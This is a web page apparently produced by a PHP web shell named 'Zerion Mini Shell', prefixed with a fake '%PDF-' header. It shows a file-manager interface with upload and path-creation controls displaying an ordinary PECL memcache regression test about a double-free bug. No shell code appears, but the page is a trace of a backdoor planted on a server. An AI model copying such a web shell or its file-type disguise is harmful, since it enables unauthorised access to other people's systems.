%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rs/php/8.3/lib/php/test/memcache/tests/
Upload File :
Create Path :
Current File : /home/rs/php/8.3/lib/php/test/memcache/tests/pecl11221.phpt

--TEST--
PECL bug #11221 (Double free when returning cached object with __sleep)
--SKIPIF--
<?php include 'connect.inc'; ?>
--FILE--
<?php

include 'connect.inc';

class block
{
	var $waa = 'meukee';
	function __sleep() { return array('waa'); }
}

function cache_failure()
{
	$block = new block();
	var_dump($GLOBALS['cache']->set('block', $block));

	return $block;
}

$cache = new memcache;
$cache->connect($host, $port);

cache_failure();

echo "Done\n";
?>
--EXPECTF--	
bool(true)
Done

Zerion Mini Shell 1.0